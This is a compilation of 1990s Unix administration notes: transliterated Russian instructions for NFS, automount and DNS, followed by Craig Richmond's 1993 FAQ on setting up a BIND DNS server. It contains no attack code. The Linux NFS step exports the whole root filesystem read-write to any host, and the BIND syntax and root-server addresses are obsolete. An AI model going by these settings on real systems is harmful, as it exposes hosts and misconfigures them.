Dolzhno byt' ukazano, kakie imenno katalogi, razreshaetsya "vi-
det'" po NFS, i kakim imenno mashinam eto razreshaetsya.
|ti katalogi ukazyvayutsya v fajle
/etc/dfs/dfstab i eksportiruyutsya yavnoj komandoj
shareall ili share (esli u vas SVR4)
ili v fajle
/etc/exports i eksportiruyutsya yavno komandoj
exportfs -a (esli u vas kakoj libo drugoj UNIX)
&dD4.&d@ Aktivizaciya NFS.
Obychno, na mashine so svezheustanovlennym Unix'om NFS server ne
aktivizirovan. CHtoby on zapustilsya, sistemnyj administrator
dolzhen obespechit' vypolnenie uslovij perechislennyh v predydushchem
punkte. Dlya etogo dostatochno:
&dDMotorola 922&d@
Posle zagruzki perehodit' na uroven' vypolneniya 3.
V fajle /etc/inittab ispravit' stroku
is:2:initdefault:
na stroku
is:3:initdefault:
Zapuskat' pcnfsd - demona "avtorizacii" PCNFS'nyh pol'zovatelej
V fajl /etc/rc3.d/S22nfs vstavit' komandu zapuska demona:
/usr/lib/nfs/pcnfsd
Iz menyu sysadm v network_services / remote_files /
local_recources / share / nfs zadat' katalogi, kotorye vy raz-
reshaete "razdavat'" po NFS. Naprimer, proeksportirujte katalog
/home
CHtoby ispravleniya v /etc/inittab podejstvovali, perezagruzite
unix komandoj
shutdown -y -g0 -i6
&dDLinux&d@
V fajle /etc/rc.d/rc.inet2 raskommentirujte stroki, zapuskayushchie
demonov
rpc.portmap
rpc.nfsd
rpc.mountd
rpc.ugidd
V fajl /etc/exports vstav'te stroku
/ (rw)
Perezagruzites'
&dDSun Solaris 1.1&d@.
V fajl /etc/exports vstav'te stroki...
/home
/usr
Perezagruzites'
&dDSun Solaris 2.3&d@.
V fajle /etc/dfs/dfstab vstav'te stroki dlya eksportiruemyh faj-
lovyh sistem. (Format ukazan v kommentariyah v etom fajle)
Perezagruzites'
&dD5.&d@ ESHCHE ODNA SETEVAYA FAJLOVAYA SISTEMA. RFS. DFS.
RFS - Remote File Sharing. Tozhe setevaya fajlovaya sistema. NFS -
porozhdenie BSD Unix'a, RFS - System V Unix'a. Naznachenie takoe
zhe, kak i u NFS. Kakih libo preimushchestv po sravneniyu s NFS ne
imeet. YArko vyrazhennyh nedostatkov, pozhaluj, tozhe. Znachitel'no
menee rasprostranena, chem NFS. Ne imeet automounter'a. Klientov
RFS for MSDOS PC net. Zato RFS podderzhivaet zahvat i blokirovku
fajlov, i special'nye fajly. Aktivizirovat' RFS vryad li imeet
smysl. Dejstvitel'no, zachem nam vtoroj General'nyj sekretar'?
DFS - Distributed File System. Tozhe setevaya fajlovaya sistema.
Vot i vse, chto ya mogu pro nee skazat'.
.
&dDKonfigurirovanie automount-demona&d@
Avto-montirovshchik - demon, zapushchennyj na NFS-kliente. |tot
demon montiruet udalennye katalogi "PO TREBOVANIYU" - t.e.,
kogda k nim proishodit obrashchenie. Esli k avtomaticheski
smontirovannomu katalogu dolgo ne bylo obrashchenij,
avtomontirovshchik ego avtomaticheski otmontiruet.
Avto-montirovanie podderzhivaetsya demonom automountd. |tot demon
zapuskaetsya pri nachal'noj zagruzke operacionnoj sistemy.
Zapuskaetsya on v komandnom fajle
/etc/rc2.d/S20nfs.client
automountd # esli vse karty budut brat'sya iz NIS
ili
automountd -m -f /etc/auto.master # brat' tol'ko lokal'nye
# karty
Upravlyaetsya automountd neskol'kimi "kartami" - fajlami s opisa-
niem kogo i kuda nado montirovat'. V prostejshem sluchae nuzhno
imet' tri fajla:
/etc/auto_master - golovnoj konfiguracionnyj fajl
Ssylaetsya na:
/etc/auto_direct - ukazyvaet, kakie katalogi kuda montirovat'
/etc/auto_home - zadaet pravila montirovaniya domashnih
katalogov pol'zovatelej, raspolozhennyh na
udalennyh mashinah.
/etc/auto_master :---------------------------------------------
#
# Master map for automounter
#
/net -hosts
# zadaet: kornevoj katalog komp'yutera po imeni imyarek montiro-
# vat' na katalog /net/imyarek
#
/- /etc/auto_direct
/home /etc/auto_home
/etc/auto_direct :---------------------------------------------
#
#
/usr/informix -ro,soft classic00:/usr/informix
/usr/local -rw,soft classic00:/usr/local
#
# Smontirovat' s pervogo otkliknuvshegosya servera.
#
/usr/share/man -ro,soft classic00:/usr/share/man \
-ro,soft sun21:/usr/share/man \
-ro,soft sun22:/usr/share/man
/etc/auto_home :---------------------------------------------
moshkow s08:/udd/moshkow
leo classic00:/export/home/leo
# a luchshe napisat' tak:
* classic00:/export/home/&
* sun21:/export/home/&
Kazhdyj pol'zovatel' polxzowatelx na etoj mashine dolzhen byt' za-
regestrirovan s domashnim katalogom /home/polxzowatelx
.
&dDDNS - Domain Name Service&d@
&dDKonfigurirovanie DNS-klienta&d@
&dDUkazyvaem nash dns-server&d@
/etc/resolv.conf :
search moshkow.pp.ru sosed.msk.ru
nameserver 127.0.0.1
;nameserver 194.8.2.1
&dDPoryadok prosmotra informacii o imenah hostov zadaetsya v &d@
/etc/host.conf : (Linux, BSD)
order bind, hosts, nis
multi on
/etc/nsswitch.conf : (V Solaris, HP-UX)
. . .
hosts: files bind nis
. . .
&dDImya domena nashego hosta&d@ (Ne vsegda, no chasto)
/etc/defaultdomain :
moshkow.pp.ru
&dDKak posmotret' zony DNS&d@
nslookup -ty=ns msk.ru
zzz=msk.ru ; named-xfer -z $zzz -f filename ns.$zzz
egrep '^[a-z]' filename | egrep -v A | grep NS| cut -f1 | sort -u| wc
ili shodit' v RIPE:
ftp://ftp.ripe.net/ripe/hostcount
ftp://ftp.ripe.net/ripe/dbase
&dDRezul'tat na fevral' 1997:&d@
ru 1400
msk.ru 217
spb.ru 490
ras.ru 20
msu.su 19
rssi.ru 42
&dD * Konfigurirovanie DNS-servera * &d@
Dlya etogo nuzhno sozdat' nachal'nyj konfig-fajl named.boot i
v kataloge /var/named slozhit' fajly s opisaniem nashih zon
&dDPrimer zapolneniya fajlov&d@
Moya zona moshkow.pp.ru
delegiruetsya iz pp.ru (a znachit - v RIPN)
Revers-zona 173.233.193.in-addr.arpa
delegiruetsya u hozyaina zony 233.193.in-addr.arpa (a znachit - v RIPN)
/etc/named.boot ; config-fajl vashego DNS
/var/named/moshkow.pp.ru ; opisanie vashej zony
/var/named/193.233.173.0 ; opisanie revers-dns dlya toj zhe zony
/var/named/root.cache ; nuzhno imet'. U vseh standartnyj
/var/named/127.0.0.1 ; nuzhno imet'. U vseh standartnyj
Esli vasha lokal'naya set' ne podklyuchena k Internet, vse
ravno polezno imet' v nej DNS server dlya vnutrennih nuzhd. CHtob
on ne porozhdal 1.5 minutnyh tajmautov pri obrashchenii k zavedomo
"vneshnim" nedostizhimym hostam, prosto sdelajte fajl
/var/named/root.cache pustym.
Zavedennye vami dns zony nado zaregistrirovat' v
"vyshestoyashchej" zone, chtob oni delegirovali ee vam.
Revers-dns'nuyu zonu tozhe neobhodimo registrirovat' -
delegirovat' vam ee obyazan tot, kto vydal vashi IP-adresa.
/var/named/moshkow.pp.ru: ========================
@ IN SOA ns.moshkow.pp.ru. moshkow.ipsun.ras.ru. (
1997093001 ; serial
28800 ;8 Refresh kak chasto secondary proveryaet obnovleniya
7200 ;2 Retry kak chasto secondary tykaetsya posle "neprohoda"
6048000;70d Expire skol'ko zapis' zhivet na secondary
864000);10d Minimum skol'ko zapis' zhivet v keshe
IN NS ns.moshkow.pp.ru.
IN NS nss.ras.ru.
IN MX 10 mail.moshkow.pp.ru.
IN MX 50 mail.ras.ru.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ns IN A 193.233.173.111
nss IN A 193.233.172.8
proxy CNAME t111
mail CNAME t111
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
t01 IN A 193.233.173.1
t02 IN A 193.233.173.2
. . .
t254 IN A 193.233.173.254
t255 IN A 193.233.173.255
/var/named/193.233.173.0 : ========================
@ IN SOA ns.moshkow.pp.ru. moshkow.ipsun.ras.ru. (
1997093001 ; serial
28800 ; refresh ( 8 hours)
7200 ; retry ( 2 hours)
6048000 ; expire (70 days )
864000 ) ; minimum (10 days )
IN NS ns.moshkow.pp.ru.
IN NS nss.ras.ru.
IN MX 10 mail.moshkow.pp.ru.
IN MX 50 mail.ras.ru.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
1 IN PTR t01.moshkow.pp.ru.
2 IN PTR t02.moshkow.pp.ru.
. . .
255 IN PTR t255.moshkow.pp.ru.
/var/named/root.cache -----------------------------------------
; ftp://ftp.rs.internic.net/domain/named.root
;
. 3600000 IN NS A.ROOT-SERVERS.NET.
A.ROOT-SERVERS.NET. 3600000 A 198.41.0.4
. 3600000 NS B.ROOT-SERVERS.NET.
B.ROOT-SERVERS.NET. 3600000 A 128.9.0.107
. 3600000 NS C.ROOT-SERVERS.NET.
C.ROOT-SERVERS.NET. 3600000 A 192.33.4.12
. 3600000 NS D.ROOT-SERVERS.NET.
D.ROOT-SERVERS.NET. 3600000 A 128.8.10.90
. 3600000 NS E.ROOT-SERVERS.NET.
E.ROOT-SERVERS.NET. 3600000 A 192.203.230.10
. 3600000 NS F.ROOT-SERVERS.NET.
F.ROOT-SERVERS.NET. 3600000 A 192.5.5.241
. 3600000 NS G.ROOT-SERVERS.NET.
G.ROOT-SERVERS.NET. 3600000 A 192.112.36.4
. 3600000 NS H.ROOT-SERVERS.NET.
H.ROOT-SERVERS.NET. 3600000 A 128.63.2.53
. 3600000 NS I.ROOT-SERVERS.NET.
I.ROOT-SERVERS.NET. 3600000 A 192.36.148.17
/var/named/127.0.0.0 --------------------------
@ IN SOA localhost. root.localhost. (
1997071201 ; Serial
36000 ; Refresh
3600 ; Retry
3600000 ; Expire
36000 ) ; Minimun
IN NS localhost.
1 IN PTR localhost.
=========== I NAKONEC /etc/named.boot
directory /var/named ;
cache . root.cache ;
primary 0.0.127.in-addr.arpa 127.0.0.0 ;
; forwarders 193.124.148.65 193.124.23.4
primary moshkow.pp.ru moshkow.pp.ru ;
primary 173.233.193.in-addr.arpa 193.233.173.0 ;
; secondary moshkow.orc.ru 193.124.148.81 second/moshkow.orc.ru
&dDDopolnitel'naya informaciya&d@
$INCLUDE /var/named/header
@
$INCLUDE /var/named/fedfond-hosts-spisok
@
&dDPoyasneniya:&d@
&dDPervaya stroka soderzhit: &d@
imya zony s obyazatel'noj tochkoj v konce
predopredelennye polya IN i SOA
imya servera, na kotorom soderzhitsya zavedomo pravil'naya
informaciya o zone, s
obyazatel'noj tochkoj na konce. Pri neobhodimosti razmeshcheniya vtorichnyh
serverov my budem brat' informaciyu o zone imenno s etogo servera.
pochtovyj adres otvetstvennogo za server, v kotorom znak @
zamenen na . a esli
trebuetsya ispol'zovat' . v levoj chasti adresa, ona dolzhna
byt' prefiksirovana
dvumya znakami \ Imenno po etomu adresu budet otpravleno soobshchenie v sluchae
uspeshnogo delegirovaniya zony. Adres v privedennom primere budet vyglyadet'
kak
andrei.arkhipov@elvis.ru
otkryvayushchaya kruglaya skobka
Na sleduyushchih 5 strokah opisyvayutsya vazhnye dlya zony parametry:
&dDSerial&d@
Opredelyaet poryadkovyj nomer redakcii fajla s opisaniem zony.
|to chislo dolzhno izmenyat'sya tol'ko v storonu uvelicheniya i
izmenyat'sya ono dolzhno pri kazhdom vnesenii izmeneniya v fajl
opisaniya zony. Rekomenduemyj format:
&dDYYYYMMDDNN&d@
gde YYYY - god, MM - mesyac, DD - den', NN - poryadkovyj nomer
vneseniya izmeneniya v ukazannyj den'.
&dDRefresh&d@
Kazhdye "refresh" sekund vtorichnye servera proveryayut osnovnoj na
predmet uvelicheniya znacheniya "serial", i esli eto proizoshlo
obnovlyayut u sebya zonu. Rekomenduemoe znachenie: 86400, chto
sostavlyaet 24 chasa.
&dDRetry&d@
Esli osnovnoj server byl nedostupen, vtorichnyj budet
proizvodit' povtornye popytki kazhdye "retry" sekund.
Rekomenduemoe znachenie: 7200, chto sostavlyaet 2 chasa.
&dDExpire&d@
Esli v techenie "expire" sekund vtorichnyj server ne smog
soedinit'sya s osnovnym i obnovit' informaciyu o zone, on schitaet
sebya nesposobnym davat' otvety na zaprosy o zone. Rekomenduemoe
znachenie: 2592000, chto sostavlyaet 30 sutok.
&dDMinimum TTL&d@
Znachenie po umolchaniyu dlya vremeni, v techenie kotorogo server
derzhit zapis' v keshe. Rekomenduemoe znachenie: 345600, chto
sostavlyaet 4 sutok.
Dalee idet opisanie vseh serverov zony, prichem server ukazannyj
v pervoj stroke (v zapisi SOA) obyazatel'no dolzhen
prisutstvovat' v etom spiske, a esli neobhodimo razmeshchenie
vtorichnyh serverov na mashih AO Relkom (ns.spb.su i/ili
ns.ussr.eu.net), to i oni dolzhny prisutstvovat' v spiske, a
takzhe v zayavke.
V privedennom primere utverzhdaetsya, chto zona prisutstvuet na
serverah ns.elvis.ru i ns2.elvis.ru i trebuetsya razmeshchenie
vtorichnyh serverov na ns.spb.su i ns.ussr.eu.net
Obratite vnimanie, chto vse imena serverov zakanchivayutsya tochkoj.
===================================== EOF ===========================
[ Article crossposted from comp.protocols.tcp-ip.domains ]
[ Author was Craig Richmond - division (craig@ecel.uwa.edu.au) ]
[ Posted on 3 Aug 1993 10:53:51 GMT ]
Setting up a basic DNS server for a domain
Revision 1.1.1
Craig Richmond
craig@ecel.uwa.edu.au
3rd August 1993
About this document
I have written this file because it seems that the same questions seem to
pop up time and time again and when I had to install DNS from scratch the
first time, we found very little to help us.
This document covers setting up a Domain Name Server with authority over
your domain and using a few of the more useful but less well known
(hopefully this document will take care of that) features of nslookup to
get information about the DNS and to work out why yours isn't working.
If you are using a Sun Workstation and you want to make NIS interact with
the DNS, then this is not the FAQ for you (but it may well be when you try
to set up the DNS). Mark J. McIntosh points
out that it is included in the comp.sys.sun.admin FAQ and for the benefit
of those of you who can't get that (it is posted in comp.sys.sun.admin,
comp.sys.sun.misc, comp.unix.solaris, comp.answers and news.answers) I have
included the relevant parts at the bottom in appendix C.
Contents:
Contents
An Overview of the DNS
Installing the DNS
*The Boot File
*The Cache File
*The Forward Mapping File
*The Reverse Mapping File
Delegating authority for domains within your domain
Troubleshooting your named
*Named doesn't work! What is wrong?
*I changed my named database and my local machine has noticed,
but nobody else has the new information?
*My local machine knows about all the name server information,
but no other sites know about me?
*My forward domain names work, but the backward names do not?
How to get useful information from nslookup
*Getting number to name mappings.
*Finding where mail goes when a machine has no IP number.
*Getting a list of machines in a domain from nslookup.
Appendicies
*Appendix A sample root.cache file
*Appendix B Excerpt from RFC 1340 - Assigned Numbers - July 1992
*Appendix C Installing DNS on a Sun when running NIS
An Overview of the DNS:
The Domain Name System is the software that lets you have name to number
mappings on your computers. The name decel.ecel.uwa.edu.au is the number
130.95.4.2 and vice versa. This is achieved through the DNS. The DNS is a
heirarchy. There are a small number of root domain name servers that are
responsible for tracking the top level domains and who is under them. The
root domain servers between them know about all the people who have name
servers that are authoritive for domains under the root.
Being authoritive means that if a server is asked about something in that
domain, it can say with no ambiguity whether or not a given piece of
information is true. For example. We have domains x.z and y.z. There are
by definition authoritive name servers for both of these domains and we
shall assume that the name server in both of these cases is a machine
called nic.x.z and nic.y.z but that really makes no difference.
If someone asks nic.x.z whether there is a machine called a.x.z, then
nic.x.z can authoritively say, yes or no because it is the authoritive name
server for that domain. If someone asks nic.x.z whether there is a machine
called a.y.z then nic.x.z asks nic.y.z whether such a machine exists (and
caches this for future requests). It asks nic.y.z because nic.y.z is the
authoritive name server for the domain y.z. The information about
authoritive name servers is stored in the DNS itself and as long as you
have a pointer to a name server who is more knowledgable than yourself then
you are set.
When a change is made, it propogates slowly out through the internet to
eventually reach all machines. The following was supplied by Mark Andrews
Mark.Andrews@syd.dms.csiro.au.
If both the primary and all secondaries are up and talking when
a zone update occurs and for the refresh period after the
update the old data will live for max(refresh + mininum)
average (refresh/2 +mininum) for the zone. New information will
be available from all servers after refresh.
So with a refresh of 3 hours and a minimum of a day, you can expect
everything to be working a day after it is changed. If you have a longer
minimum, it may take a couple of days before things return to normal.
There is also a difference between a zone and a domain. The domain is the
entire set of machines that are contained within an organisational domain
name. For example, the domain uwa.edu.au contains all the machines at the
University of Western Australia. A Zone is the area of the DNS for which a
server is responsible. The University of Western Australia is a large
organisation and trying to track all changes to machines at a central
location would be difficult. The authoritive name server for the zone
uwa.edu.au delegates the authority for the zone ecel.uwa.edu.au to
decel.ecel.uwa.edu.au. Machine foo.ecel.uwa.edu.au is in the zone that
decel is authoritive for. Machine bar.uwa.edu.au is in the zone that
uniwa.uwa.edu.au is authoritive for.
Installing the DNS:
First I'll assume you already have a copy of the Domain Name Server
software. It is probably called named or in.named depending on your
flavour of unix. I never had to get a copy, but if anyone thinks that
information should be here then by all means tell me and I'll put it in.
If you intend on using the package called Bind, then you should be sure
that you get version 4.9, which is the most recent version at this point in
time.
The Boot File:
First step is to create the file named.boot. This describes to named
(we'll dispense with the in.named. Take them to be the same) where the
information that it requires can be found. This file is normally found in
/etc/named.boot and I personally tend to leave it there because then I know
where to find it. If you don't want to leave it there but place it in a
directory with the rest of your named files, then there is usually an
option on named to specify the location of the boot file.
Your typical boot file will look like this if you are an unimportant leaf
node and there are other name servers at your site.
directory /etc/namedfiles
cache . root.cache
primary ecel.uwa.edu.au ecel.uwa.domain
primary 0.0.127.in-addr.arpa 0.0.127.domain
primary 4.95.130.in-addr.arpa 4.95.130.domain
forwarders 130.95.128.1
Here is an alternative layout used by Christophe Wolfhugel
He finds this easier because of
the large number of domains he has. The structure is essentially the same,
but the file names use the domain name rather than the IP subnet to
describe the contents.
directory /usr/local/etc/bind
cache . p/root
forwarders 134.214.100.1 192.93.2.4
;
; Primary servers
;
primary fr.net p/fr.net
primary frmug.fr.net p/frmug.fr.net
primary 127.in-addr.arpa p/127
;
; Secondary servers
;
secondary ensta.fr 147.250.1.1 s/ensta.fr
secondary gatelink.fr.net 134.214.100.1 s/gatelink.fr.net
secondary insa-lyon.fr 134.214.100.1 s/insa-lyon.fr
secondary loesje.org 145.18.226.21 s/loesje.org
secondary nl.loesje.org 145.18.226.21 s/nl.loesje.org
secondary pcl.ac.uk 161.74.160.5 s/pcl.ac.uk
secondary univ-lyon1.fr 134.214.100.1 s/univ-lyon1.fr
secondary wmin.ac.uk 161.74.160.5 s/wmin.ac.uk
secondary westminster.ac.uk 161.74.160.5 s/westminster.ac.uk
;
;
; Secondary for addresses
;
secondary 74.161.in-addr.arpa 161.74.160.5 s/161.74
secondary 214.134.in-addr.arpa 134.214.100.1 s/134.214
secondary 250.147.in-addr.arpa 147.250.1.1 s/147.250
;
; Classes C
;
secondary 56.44.192.in-addr.arpa 147.250.1.1 s/192.44.56
secondary 57.44.192.in-addr.arpa 147.250.1.1 s/192.44.57
The lines in the named.boot file have the following meanings.
directory
This is the path that named will place in front of all file names
referenced from here on. If no directory is specified, it looks for files
relative to /etc.
cache
This is the information that named uses to get started. Named must know
the IP number of some other name servers at least to get started.
Information in the cache is treated differently depending on your version
of named. Some versions of named use the information included in the cache
permenantly and others retain but ignore the cache information once up and
running.
primary
This is one of the domains for which this machine is authorative for. You
put the entire domain name in. You need forwards and reverse lookups. The
first value is the domain to append to every name included in that file.
(There are some exceptions, but they will be explained later) The name at
the end of the line is the name of the file (relative to /etc of the
directory if you specified one). The filename can have slashes in it to
refer to subdirectories so if you have a lot of domains you may want to
split it up.
BE VERY CAREFUL TO PUT THE NUMBERS BACK TO FRONT FOR THE REVERSE LOOK UP
FILE. The example given above is for the subnet ecel.uwa.edu.au whose IP
address is 130.95.4.*. The reverse name must be 4.95.130.in-addr.arpa.
It must be backwards and it must end with .in-addr.arpa. If your reverse
name lookups don't work, check this. If they still don't work, check this
again.
forwarders
This is a list of IP numbers for forward requests for sites about which we
are unsure. A good choice here is the name server which is authoritive for
the zone above you.
secondary (This line is not in the example, but is worth mentioning.)
A secondary line indicates that you wish to be a secondary name server for
this domain. You do not need to do this usually. All it does is help make
the DNS more robust. You should have at least one secondary server for
your site, but you do not need to be a secondary server for anyone else.
You can by all means, but you don't need to be. If you want to be a
secondary server for another domain, then place the line
secondary gu.uwa.edu.au 130.95.100.3 130.95.128.1
in your named.boot. This will make your named try the servers on both of
the machines specified to see if it can obtain the information about those
domains. You can specify a number of IP addresses for the machines to
query that probably depends on your machine. Your copy of named will upon
startup go and query all the information it can get about the domain in
question and remember it and act as though it were authoritive for that
domain.
Next you will want to start creating the data files that contain the name
definitions.
The cache file:
You can get a copy of the cache file from FTP.RS.INTERNIC.NET. The current
copy can be found in Appendix A.
The Forward Mapping file:
The file ecel.uwa.edu.au. will be used for the example with a couple of
machines left in for the purpose of the exercise. Here is a copy of what
the file looks like with explanations following.
; Authoritative data for ecel.uwa.edu.au
;
@ IN SOA decel.ecel.uwa.edu.au. postmaster.ecel.uwa.edu.au. (
93071200 ; Serial (yymmddxx)
10800 ; Refresh 3 hours
3600 ; Retry 1 hour
3600000 ; Expire 1000 hours
86400 ) ; Minimum 24 hours
IN A 130.95.4.2
IN MX 100 decel
IN MX 150 uniwa.uwa.edu.au.
IN MX 200 relay1.uu.net.
IN MX 200 relay2.uu.net.
localhost IN A 127.0.0.1
decel IN A 130.95.4.2
IN HINFO SUN4/110 UNIX
IN MX 100 decel
IN MX 150 uniwa.uwa.edu.au.
IN MX 200 relay1.uu.net
IN MX 200 relay2.uu.net
gopher IN CNAME decel.ecel.uwa.edu.au.
accfin IN A 130.95.4.3
IN HINFO SUN4/110 UNIX
IN MX 100 decel
IN MX 150 uniwa.uwa.edu.au.
IN MX 200 relay1.uu.net
IN MX 200 relay2.uu.net
chris-mac IN A 130.95.4.5
IN HINFO MAC-II MACOS
The comment character is ';' so the first two lines are just comments
indicating the contents of the file.
All values from here on have IN in them. This indicates that the value is
an InterNet record. There are a couple of other types, but all you need
concern yourself with is internet ones.
The SOA record is the Start Of Authority record. It contains the
information that other nameservers will learn about this domain and how to
treat the information they are given about it. The '@' as the first
character in the line indicates that you wish to define things about the
domain for which this file is responsible. The domain name is found in the
named.boot file in the corresponding line to this filename. All
information listed refers to the most recent machine/domain name so all
records from the '@' until 'localhost' refer to the '@'. The SOA record
has 5 magic numbers. First magic number is the serial number. If you
change the file, change the serial number. If you don't, no other name
servers will update their information. The old information will sit around
for a very long time.
Refresh is the time between refreshing information about the SOA (correct
me if I am wrong). Retry is the frequency of retrying if an authorative
server cannot be contacted. Expire is how long a secondary name server
will keep information about a zone without successfully updating it or
confirming that the data is up to date. This is to help the information
withstand fairly lengthy downtimes of machines or connections in the
network without having to recollect all the information. Minimum is the
default time to live value handed out by a nameserver for all records in
a zone without an explicit TTL value. This is how long the data will live
after being handed out. The two pieces of information before the 5 magic
numbers are the machine that is considered the origin of all of this
information. Generally the machine that is running your named is a good
one for here. The second is an email address for someone who can fix any
problems that may occur with the DNS. Good ones here are postmaster,
hostmaster or root. NOTE: You use dots and not '@' for the email address.
eg root.decel.ecel.uwa.edu.au is correct
and
root@decel.ecel.uwa.edu.au is incorrect.
We now have an address to map ecel.uwa.edu.au to. The address is
130.95.4.2 which happens to be decel, our main machine. If you try to find
an IP number for the domain ecel.uwa.edu.au it will get you the machine
decel.ecel.uwa.edu.au's IP number. This is a nicety which means that
people who have non-MX record mailers can still mail fred@ecel.uwa.edu.au
and don't have to find the name of a machine name under the domain to mail.
Now we have a couple of MX records for the domain itself. The MX records
specify where to send mail destined for the machine/domain that the MX
record is for. In this case we would prefer if all mail for
fred@ecel.uwa.edu.au is sent to decel.ecel.uwa.edu.au. If that does not
work, we would like it to go to uniwa.uwa.edu.au because there are a number
of machines that might have no idea how to get to us, but may be able to get
to uniwa. And failing that, try the site relay1.uu.net. A small number
indicates that this site should be tried first. The larget the number the
further down the list of sites to try the site is. NOTE: Not all machines
have mailers that pay attention to MX records. Some only pay attention to
IP numbers, which is really stupid. All machines are required to have
MX-capable Mail Transfer Agents (MTA) as there are many addresses that can
only be reached via this means.
There is an entry for localhost now. Note that this is somewhat of a
kludge and should probably be handled far more elegantly. By placing
localhost here, a machine comes into existance called
localhost.ecel.uwa.edu.au. If you finger it, or telnet to it, you get your
own machine, because the name lookup returns 127.0.0.1 which is the special
case for your own machine. I have used a couple of different DNS packages.
The old BSD one let you put things into the cache which would always work,
but would not be exported to other nameservers. In the newer Sun one, they
are left in the cache and are mostly ignored once named is up and running.
This isn't a bad solution, its just not a good one.
Decel is the main machine in our domain. It has the IP number 130.95.4.2
and that is what this next line shows. It also has a HINFO entry. HINFO
is Host Info which is meant to be some sort of an indication of what the
machine is and what it runs. The values are two white space seperated
values. First being the hardware and second being the software. HINFO is
not compulsory, its just nice to have sometimes. We also have some MX
records so that mail destined for decel has some other avenues before it
bounces back to the sender if undeliverable.
It is a good idea to give all machines capable of handling mail an MX
record because this can be cached on remote machines and will help to
reduce the load on the network.
gopher.ecel.uwa.edu.au is the gopher server in our division. Now because
we are cheapskates and don't want to go and splurge on a seperate machine
just for handling gopher requests we have made it a CNAME to our main
machine. While it may seem pointless it does have one main advantage.
When we discover that our placing terrabytes of popular quicktime movies
on our gopher server (no we haven't and we don't intend to) causes an
unbearable load on our main machine, we can quickly move the CNAME to
point at a new machine by changing the name mentioned in the CNAME. Then
the slime of the world can continue to get their essential movies with a
minimal interuption to the network. Other good CNAMEs to maintain are
things like ftp, mailhost, netfind, archie, whois, and even dns (though the
most obvious use for this fails). It also makes it easier for people to
find these services in your domain.
We should probably start using WKS records for things like gopher and whois
rather than making DNS names for them. The tools are not in wide
circulation for this to work though. (Plus all those comments in many DNS
implementation of "Not implemented" next to the WKS record)
Finally we have a macintosh which belongs to my boss. All it needs is an
IP number, and we have included the HINFO so that you can see that it is in
fact a macII running a Mac System. To get the list of preferred values,
you should get a copy of RFC 1340. It lists lots of useful information
such as /etc/services values, ethernet manufacturer hardware addresses,
HINFO defualts and many others. I will include the list as it stands at
the moment, but if any RFC superceeds 1340, then it will have a more
complete list. See Appendix B for that list.
NOTE: If Chris had a very high profile and wanted his mac to appear like a
fully connected unix machine as far as internet services were concerned, he
could simply place an MX record such as
IN MX 100 decel
after his machine and any mail sent to chris@chris-mac.ecel.uwa.edu.au
would be automatically rerouted to decel.
The Reverse Mapping File
The reverse name lookup is handled in a most bizarre fashion. Well it all
makes sense, but it is not immediately obvious.
All of the reverse name lookups are done by finding the PTR record
associated with the name w.x.y.z.in-addr.arpa. So to find the name
associated with the IP number 1.2.3.4, we look for information stored in
the DNS under the name 4.3.2.1.in-addr.arpa. They are organised this way
so that when you are allocated a B class subnet for example, you get all of
the IP numbers in the domain 130.95. Now to turn that into a reverse name
lookup domain, you have to invert the numbers or your registered domains
will be spread all over the place. It is a mess and you need not understand
the finer points of it all. All you need to know is that you put the
reverse name lookup files back to front.
Here is the sample reverse name lookup files to go with our example.
0.0.127.in-addr.arpa
--
; Reverse mapping of domain names 0.0.127.in-addr.arpa
; Nobody pays attention to this, it is only so 127.0.0.1 -> localhost.
@ IN SOA decel.ecel.uwa.edu.au. postmaster.ecel.uwa.edu.au. (
91061801 ; Serial (yymmddxx)
10800 ; Refresh 3 hours
3600 ; Retry 1 hour
3600000 ; Expire 1000 hours
86400 ) ; Minimum 24 hours
;
1 IN PTR localhost.ecel.uwa.edu.au.
--
4.95.130.in-addr.arpa
--
; reverse mapping of domain names 4.95.130.in-addr.arpa
;
@ IN SOA decel.ecel.uwa.edu.au. postmaster.ecel.uwa.edu.au. (
92050300 ; Serial (yymmddxx format)
10800 ; Refresh 3hHours
3600 ; Retry 1 hour
3600000 ; Expire 1000 hours
86400 ) ; Minimum 24 hours
2 IN PTR decel.ecel.uwa.edu.au.
3 IN PTR accfin.ecel.uwa.edu.au.
5 IN PTR chris-mac.ecel.uwa.edu.au.
--
It is important to remember that you must have a second start of authority
record for the reverse name lookups. Each reverse name lookup file must
have its own SOA record. The reverse name lookup on the 127 domain is
debatable seeing as there is likely to be only one number in the file and
it is blatantly obvious what it is going to map to.
The SOA details are the same as in the forward mapping.
Each of the numbers listed down the left hand side indicates that the line
contains information for that number of the subnet. Each of the subnets
must be the more significant digits. eg the 130.95.4 of an IP number
130.95.4.2 is implicit for all numbers mentioned in the file.
The PTR must point to a machine that can be found in the DNS. If the name
is not in the DNS, some versions of named just bomb out at this point.
Reverse name lookups are not compulsory, but nice to have. It means that
when people log into machines, they get names indicating where they are
logged in from. It makes it easier for you to spot things that are wrong
and it is far less cryptic than having lots of numbers everywhere. Also if
you do not have a name for your machine, some brain dead protocols such as
talk will not allow you to connect.
Since I had this I had one suggestion of an alternative way to do the
localhost entry. I think it is a matter of personal opinion so I'll
include it here in case anyone things that this is a more appropriate
method.
The following is courtesy of jep@convex.nl (JEP de Bie)
The way I did it was:
1) add in /etc/named.boot:
primary . localhost
primary 127.in-addr.ARPA. IP127
(Craig: It has been suggested by Mark Andrews that this is a bad practice
particularly if you have upgraded to Bind 4.9. You also run the risk of
polluting the root name servers. This comes down to a battle of idealogy
and practicality. Think twice before declaring yourself authorative for
the root domain.)
So I not only declare myself (falsely? - probably, but nobody is going to
listen anyway most likely [CPR]:-) athorative in the 127.in-addr.ARPA domain
but also in the . (root) domain.
2) the file localhost has:
$ORIGIN .
localhost IN A 127.0.0.1
3) and the file IP127:
$ORIGIN 127.in-addr.ARPA.
1.0.0 IN PTR localhost.
4) and I have in my own domain file (convex.nl) the line:
$ORIGIN convex.nl.
localhost IN CNAME localhost.
The advantage (elegancy?) is that a query (A) of localhost. gives the
reverse of the query of 1.0.0.127.in-addr.ARPA. And it also shows that
localhost.convex.nl is only a nickname to something more absolute.
(While the notion of localhost is of course relative :-)).
And I also think there is a subtle difference between the lines
primary 127.in-addr.ARPA. IP127
and
primary 0.0.127.in-addr.ARPA. 4.95.130.domain
=============
JEP de Bie
